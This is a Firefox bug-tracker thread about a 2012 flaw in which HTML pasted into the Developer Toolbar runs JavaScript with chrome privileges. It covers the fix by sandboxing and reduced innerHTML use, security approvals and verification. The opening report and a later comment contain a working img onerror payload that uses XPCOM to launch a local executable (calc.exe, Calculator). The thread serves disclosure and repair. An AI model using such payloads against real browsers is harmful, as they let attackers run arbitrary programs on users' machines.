User Agent: Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20100101 Firefox/16.0 Build ID: 20121005155445 Steps to reproduce: 1. Open Developer Toolbar(Shift+F2). 2. Copy and paste <img src="x" onerror="alert(1)"> to toolbar input box.(Whitepaces are Tab chars) 3. You can see "1" from chrome:// URI. This means JavaScript is run as chrome privilege. The following code runs calc.exe on Windows. <img src="x" onerror="file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('C:\\\\windows\\\\system32\\\\calc.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(false,'','');"> Expected results: JavaScript should not be run.

Confirmed that calc.exe does launch on Fx16.0

confirmed. That's... something.

Would this feature have prevented this - https://wiki.mozilla.org/Security/Features/Apply_CSP_Chrome_Pages ?

I've been talking to mgoodwin about this patch for a while. As far as I can tell, it reduces the use of innerHTML to only that which is required to have commands able to create HTML.

Mark: As far as I can tell, the menu issue that we discussed isn't exploitable. I've used createTextNode, and we're returning a DOM rather than string-concat and HTML. menu.js:156 var before = value.substr(0, startMatch); var after = value.substr(startMatch + match.length); var parent = document.createElement('span'); parent.appendChild(document.createTextNode(before)); var highlight = document.createElement('span'); highlight.classList.add('gcli-menu-typed'); highlight.appendChild(document.createTextNode(match)); parent.appendChild(highlight); parent.appendChild(document.createTextNode(after)); return parent;

Also, I'm not sure if we attempt to hide fixes with sec-high, but in case we do, I've planned that we can land this in with bug 798458, so this can land as innocuously as possible.

Comment on attachment 671062 [details] [diff] [review] v1 It looks like the setTextContent helper will do the wrong thing if the element already contains another child text node - it should probably remove all children first?

(In reply to :Gavin Sharp (use gavin@gavinsharp.com for email) from comment #9) > Comment on attachment 671062 [details] [diff] [review] > v1 > > It looks like the setTextContent helper will do the wrong thing if the > element already contains another child text node - it should probably remove > all children first? The implementation of setTextContent() is: exports.clearElement(elem); var child = elem.ownerDocument.createTextNode(text); elem.appendChild(child); Where clearElement() is: while (elem.hasChildNodes()) { elem.removeChild(elem.firstChild); } I think we should be removing all childNodes, not all children, because children implies Element children?

I meant all child nodes, yes - I just misread the patch. Nevermind!

(In reply to Tanvi Vyas from comment #5) > Would this feature have prevented this - > https://wiki.mozilla.org/Security/Features/Apply_CSP_Chrome_Pages ? Yes.

Comment on attachment 671062 [details] [diff] [review] v1 Review of attachment 671062 [details] [diff] [review]: ----------------------------------------------------------------- r+ contingent on mgoodwin's.

Comment on attachment 671062 [details] [diff] [review] v1 Review of attachment 671062 [details] [diff] [review]: ----------------------------------------------------------------- Looks good.

I've just been experimenting with an additional pair of braces which added type="content" to the iframe in question. I couldn't get this to work, and it could be for one of 3 reasons: - My attack script is broken - The iframe in question is an html:iframe not a xul:iframe (because of bugs in xul:panel) and type=content doesn't work with html:iframes - Both of the above My attack script is: <img src="x" onerror="file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('/Applications/Calculator.app/Contents/MacOS/Calculator');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(false,'','');"/> (again with tabs in place of spaces)

Non functioning experiment setting type=content on the iframe in question (and another) For posterity.

Comment on attachment 671062 [details] [diff] [review] v1 [Security approval request comment] How easily can the security issue be deduced from the patch? - fairly Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? - no Which older supported branches are affected by this flaw? - all since ff15 If not all supported branches, which bug introduced the flaw? Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? - could be quite hard How likely is this patch to cause regressions; how much testing does it need? - it changes how we interact with hint strings, some testing required I'm not sure where we should apply this. On one hand chrome level exploits are serious, on the other, there is a similar issue (disguised as a feature) in every version of windows that I'm aware of (win+r,ctrl+v) which does not seem to be significantly exploited.

fwiw, I've queued this up to land in bug 798458

(In reply to Joe Walker [:jwalker] from comment #15) > - The iframe in question is an html:iframe not a xul:iframe (because of bugs > in xul:panel) and type=content doesn't work with html:iframes mozframetype="content" does, though, since bug 769771.

Updated patch with mozframetype=content. Still doesn't work though, or maybe my attack script is still wrong? I'm using: <img src="x" onerror="alert(Components.classes);"/> I would expect to get the message 'undefined' if this was really content.

(In reply to Joe Walker [:jwalker] from comment #20) > I would expect to get the message 'undefined' if this was really content. So would I.

(Components.stack throws rather than returning undefined in an unprivileged context.) I didn't realize you were loading a chrome:// document in the iframe - in that case it doesn't matter what its docshell type is, you'll get chrome privileges. One way to work around that is to create about: URIs for those resources that aren't privileged.

(In reply to :Gavin Sharp (use gavin@gavinsharp.com for email) from comment #22) > (Components.stack throws rather than returning undefined in an unprivileged > context.) So either way we would know if we have privs, right? My double-check was to do "alert(Components.classes);" from the webconsole and I got 'undefined'. Maybe things are different there. > I didn't realize you were loading a chrome:// document in the iframe - in > that case it doesn't matter what its docshell type is, you'll get chrome > privileges. One way to work around that is to create about: URIs for those > resources that aren't privileged. Ah - I see. Thanks. We could even think about using an empty doc (about:blank?) and DOM hacking it into shape. it's not like the docs are complex: https://hg.mozilla.org/integration/fx-team/file/f39343285fc1/browser/devtools/commandline/commandlineoutput.xhtml https://hg.mozilla.org/integration/fx-team/file/f39343285fc1/browser/devtools/commandline/commandlinetooltip.xhtml

One technique to make use of the existing documents without use of chrome URLs is to create a DATA: URL from them. If the src attribute is set post creation, the iframe apparently isn't trusted.

(In reply to Mark Goodwin [:mgoodwin] from comment #24) > Created attachment 673277 [details] [diff] [review] > using commandlineoutput.xhtml, etc. without chrome URLs To make it clear: Obviously, I'd recommend handling the data correctly in the first place; this is not an either / or thing.

Comment on attachment 671062 [details] [diff] [review] v1 sec-approval+

(In reply to Daniel Veditz [:dveditz] from comment #26) > Comment on attachment 671062 [details] [diff] [review] > v1 > > sec-approval+ I don't think it's automatic that we should apply this to aurora/beta because it contains string changes. I suggest that we land this fix on Nightly, and find some version of the priv patch to land on Nightly/Aurora/Beta. Does that makes sense? I can see 3 alternative methods of making the priv patch work: - The data: URL hack - about: pages - DOM manipulation While Mark's solution is nicely concise, I also think it's an abuse. I made a quick semi-functioning DOM manipulation solution yesterday, but I'm not 100% happy with it, and suspect that the about: solution could be better.

Comment on attachment 671062 [details] [diff] [review] v1 Given Joe's comment, it sounds like he may be blocked for landing on coming up with a final solution for branches. Joe - you're correct we don't want to take a string change for a security fix. Re-nominating for sec-approval to see if we should wait on landing until that final solution has been created.

I'd like to know what we're going to do for branches before giving it sec-approval+.

(In reply to Al Billings [:abillings] from comment #29) > I'd like to know what we're going to do for branches before giving it > sec-approval+. The plan is to land attachment 676700 [details] [diff] [review] on branches, and attachment 671062 [details] [diff] [review] on central.

I don't know if submerge is important, but I'm planning on using bug 806821 in order to land attachment 676700 [details] [diff] [review]. (and still using bug 798458 for attachment 671062 [details] [diff] [review]).

Comment on attachment 676700 [details] [diff] [review] drop privs using sandbox="" Review of attachment 676700 [details] [diff] [review]: ----------------------------------------------------------------- r+ as a devtools peer, would like mgoodwin to weigh in on the security fix.

Comment on attachment 676700 [details] [diff] [review] drop privs using sandbox="" [Security approval request comment] How easily can the security issue be deduced from the patch? the word 'sandbox' might be a clue. Have prepared a submerge Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? No Which older supported branches are affected by this flaw? all since ff15 If not all supported branches, which bug introduced the flaw? Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? It should be easy to land this patch on other branches. Not checked. How likely is this patch to cause regressions; how much testing does it need? I think our unit tests and some quick visual checks should be enough (Note: My testing so far as extended to verifying that it fixes the security problem, but it hasn't passed try. Obviously I'll check it does before landing anywhere)

It turned out that sandbox="allow-same-origin" was needed for correct GCLI operation. Green on try. https://tbpl.mozilla.org/?tree=Try&rev=fa919472c882 Landing soon

Attachment 671062 [details] [diff] is also green: https://tbpl.mozilla.org/?tree=Try&rev=2bffafbddf1b

Comment on attachment 677440 [details] [diff] [review] drop privs using sandbox="allow-same-origin" Review of attachment 677440 [details] [diff] [review]: ----------------------------------------------------------------- Still looks good

Al - I'd like to carry the sec-approval+ for the sandbox patch (677440) ok? Please could you do sec-approval+ for the innerHTML patch (671062) I'm also trying out the "Need additional information from" thing. I hope it doesn't turn out to be a bad idea.

Joe, are you sure it is bug 671062? I can't see bug 677440 so it is hard to give an opinion. Can I be cc'd on it, please?

(In reply to Al Billings [:abillings] from comment #39) > Joe, are you sure it is bug 671062? > > I can't see bug 677440 so it is hard to give an opinion. Can I be cc'd on > it, please? They're attachment numbers: * attachment 677440 [details] [diff] [review] * attachment 671062 [details] [diff] [review]

Just to be clear of the plan: Attachment 677440 [details] [diff] adds the sandbox attribute. It's planned to land on central and then on branches. It is an minor update to a676700 which you gave sec-approval+ to just after comment 34. Attachment 671062 [details] [diff] curtails use of innerHTML. It's planned to land on central only because it involves string changes. It had sec-approval+ in comment 26, but this was taken away in comment 28 and comment 29 because we didn't have the sandbox patch ready.

Comment on attachment 671062 [details] [diff] [review] v1 Thank you for clarifying. Yes, get these both in. Sec-approval+

Landing into fx-team in https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024: Attachment 677440 [details] [diff] is submerged into bug 806821 Attachment 671062 [details] [diff] is submerged into bug 798458

Both patches landed in submerged bugs.

Are these safe to uplift? Please nominate asap if low-risk enough to take before our last beta.

Comment on attachment 677440 [details] [diff] [review] drop privs using sandbox="allow-same-origin" [Approval Request Comment] Bug caused by (feature/regressing bug #): Bug 800363 User impact if declined: Security risk Testing completed (on m-c, etc.): On m-c Risk to taking this patch (and alternatives if risky): This is sg-high String or UUID changes made by this patch: None

(In reply to Joe Walker [:jwalker] from comment #46) > Risk to taking this patch (and alternatives if risky): This is sg-high This approval is contigent on a low-risk evaluation of the landing for this code, not the risk of the bug itself. Please confirm that this patch passes tests and has low risk for regressions on branches.

(In reply to Lukas Blakk [:lsblakk] from comment #47) > (In reply to Joe Walker [:jwalker] from comment #46) > > > Risk to taking this patch (and alternatives if risky): This is sg-high > > This approval is contigent on a low-risk evaluation of the landing for this > code, not the risk of the bug itself. Please confirm that this patch passes > tests and has low risk for regressions on branches. The patch has been on central for a while without being backed out, or reports of intermittent orange. This patch seems to pass tests on beta (https://tbpl.mozilla.org/?tree=Try&rev=f76ef2036f13 and https://tbpl.mozilla.org/?tree=Try&rev=99055e9243ff) and aurora (https://tbpl.mozilla.org/?tree=Try&rev=ef00616e4d53) There are a significant number of test failures for Android which is puzzling to me since Android doesn't use this code at all. I have also manually tested that this code prevents the exploit (from comment 20) on both beta and central.

My reading of comment 47 is that I need further approval before I push this. Also I'd like confirmation that the android test failures are expected. I'm attaching the patch should someone wish to push this while I'm not around.

Comment 48 addresses the concern, thank you. I'm also not clear on why there are so many android test failures on your push - obviously if those appear on push to branches we'd want to investigate more but it could be a result of pushing branches other than m-c to try or something else unrelated. In any case, we're going to build tomorrow for the final beta so please do push these to branches so we know where we stand tomorrow.

Status for the sandbox fix (attachment 677440 [details] [diff] [review]/attachment 680480 [details] [diff] [review]) Push to Nightly (via fx-team): https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024 Push to Aurora: https://tbpl.mozilla.org/?tree=Mozilla-Aurora&rev=ec566743b99c Push to Beta: https://tbpl.mozilla.org/?tree=Mozilla-Beta&rev=5c9450a082aa Status for the innerHTML fix (attachment 671062 [details] [diff] [review]) Push to Nightly (via fx-team): https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024 Not pushing to Aurora/Beta It looks from the results from beta so far that the android failures are probably a configuration issue with a non-central push to try.

I reproduced the problem on FF 16.0.2 using the STR in comment 0. Verified fixed FF 19 RC on Win 7, Ubuntu 12.04 and Mac OS X 10.6.